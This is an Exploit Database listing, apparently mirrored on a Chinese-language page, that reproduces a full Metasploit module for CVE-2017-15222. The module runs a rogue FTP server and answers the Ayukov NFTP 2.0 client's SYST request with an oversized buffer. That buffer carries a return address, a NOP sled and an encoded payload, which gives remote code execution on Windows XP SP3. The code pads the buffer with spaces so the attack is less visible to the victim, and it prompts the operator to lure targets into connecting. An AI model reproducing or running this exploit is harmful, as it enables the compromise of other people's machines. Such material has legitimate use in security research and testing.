Ayukov NFTP FTP Client 2.0 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 32 阅读

• 作者： Metasploit
  日期： 2018-01-05
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43448/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::TcpServer
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
  Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
  is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
  code exeuction under the context of the user if successfully exploited.
  },
  'Author' =>
  [
  'Berk Cem Goksel',# Original exploit author
  'Daniel Teixeira',# MSF module author
  'sinn3r'# RCA, improved module reliability and user exp
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2017-15222'],
  [ 'EDB', '43025' ],
  ],
  'Payload'=>
  {
  'BadChars' => "\x00\x01\x0a\x10\x0d",
  'StackAdjustment' => -3500
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
  ],
  'Privileged' => false,
  'DefaultOptions' =>
  {
  'SRVHOST' => '0.0.0.0',
  },
  'DisclosureDate' => 'Oct 21 2017',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
  ])
  end
  
  def exploit
  srv_ip_for_client = datastore['SRVHOST']
  if srv_ip_for_client == '0.0.0.0'
  if datastore['LHOST']
  srv_ip_for_client = datastore['LHOST']
  else
  srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
  end
  end
  
  srv_port = datastore['SRVPORT']
  
  print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
  super
  end
  
  def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)
  print_status("#{client.peerhost} - connected")
  
  # Let the client log in
  client.get_once
  
  print_status("#{client.peerhost} - sending 331 OK")
  user = "331 OK.\r\n"
  client.put(user)
  
  client.get_once
  print_status("#{client.peerhost} - sending 230 OK")
  pass = "230 OK.\r\n"
  client.put(pass)
  
  # It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
  # is visible from the user's command prompt, which would make the buffer overflow attack too
  # obvious.
  sploit = "\x20"*4116
  
  sploit << [target.ret].pack('V')
  sploit << make_nops(10)
  sploit << payload.encoded
  sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
  sploit << "\r\n"
  
  print_status("#{client.peerhost} - sending the malicious response")
  client.put(sploit)
  
  client.get_once
  pwd = "257\r\n"
  client.put(pwd)
  client.get_once
  
  end
  end